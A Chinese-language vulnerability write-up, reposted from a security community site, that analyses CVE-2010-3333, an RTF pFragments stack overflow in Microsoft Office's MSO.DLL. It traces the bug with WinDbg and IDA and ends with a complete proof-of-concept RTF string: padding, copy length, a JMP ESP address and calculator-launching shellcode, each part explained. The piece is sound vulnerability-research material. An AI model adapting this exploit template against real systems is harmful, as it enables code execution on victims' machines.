更多全球网络安全资讯尽在邑安全
0x01 漏洞描述
-
漏洞成因:栈溢出漏洞。MSO.DLL在处理
pFragments
数组时未校验复制长度,故可构造数据造成栈溢出,劫持执行流。 -
影响版本:Microsoft Office XP SP3, Office 2003 SP3, Office 2007 SP2, Office 2010, Office 2004 and 2008 for Mac, Office for Mac 2011。
0x02 漏洞分析
分析环境:
OS版本:Windows XP SP3
Word版本:11.0.5604.0
MSO.DLL版本:11.0.5606.0
使用msf生成POC:
WinDbg附加WINWORD.exe
,打开POC文档,崩溃点如下:
崩溃原因是EDI
指向内存区域为只读属性:
重新附加WINWORD.exe
,bp 30e9eb88
设置断点,载入POC,成功断下,查看调用堆栈如下:
IDA载入MSO.DLL,定位到0x30F4CC93
位置,查看其如何传递参数:
EDI
指向sub_30F4CC5D
中局部变量,距离函数返回地址0x14字节,而sub_30E9EB62
在执行复制操作之前并未检查长度,故可以造成栈溢出。
ESI
与sub_30D2810C
返回值相关,跟进分析:
而ECX
值需回溯到sub_30F4CD58
中:
回溯到sub_30F4CD58
:
回溯到此,三个参数的传递过程都已清晰,参数1:
参数2为ebp-10h
,参数3为0。
借由WinDbg查看参数1具体值,bp 30F4CD58
:
bp 30F4CC73
:
bp 30F4CC7D
:
最终传递给sub_30E9EB62
三个参数如下:
计算复制长度及源位置:
WinHex查看POC:
整体思路:由崩溃点确定漏洞触发位置——>回溯调用栈——>分析参数如何计算及传递。
0x03 构造POC
查阅Microsoft Office Word 2003 RTF Specification可知:
定义数组规范如下:
定义Drawing Object(绘图对象)属性规范如下:
首先我们构造一RTF文档如下:
{rtf1{shp{*shpinst{sp{sn pFragments}{sv 1;1;12345678}}}}}
执行到0x3122FFE8
处:
此时其返回值为0,不会执行到调用Ordinal501
处:
而Ordinal501
过程会修改内存0x014d1592
处内容,进而影响到sub_30E9EB62
中复制长度:
接着构造RTF文档如下:
{rtf1{shp{*shpinst{sp{sn pFragments}{sv 1;1;123456780800616162636465666768}}}}}
执行完0x3122FFE8
后返回值为1:
跟进Ordinal501
:
继续执行到0x30E9EB88
处:
最终构造POC内容如下:
{rtf1{shp{*shpinst{sp{sn pfragments}{sv 1;1;1234567801016161616162626262636363636464646465656565904dc57dAABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD33c050b82e646c6c50b8656c333250b86b65726e508bc450b87b1d807cffd033c050b82e65786550b863616c63508bc46a0550b8ad23867cffd033c050b8faca817cffd0}}}}}
{rtf1{shp{*shpinst{sp{sn pfragments}{sv 1;1;
无需多言,12345678
是填充数据,0101
是复制长度(笔者并未精确计算),6161616162626262636363636464646465656565
用以填充栈,904dc57d
是JMP ESP指令地址,AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD
会被处理为全零(详见下文),33c050b82e646c6c50b8656c333250b86b65726e508bc450b87b1d807cffd033c050b82e65786550b863616c63508bc46a0550b8ad23867cffd033c050b8faca817cffd0
是一段弹计算器Shellcode(一定要以小写字母形式写入)。
原文来自:先知社区
原文链接:https://xz.aliyun.com/t/8636
推荐文章
1
2
本文始发于微信公众号(邑安全):Note——CVE-2010-3333
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论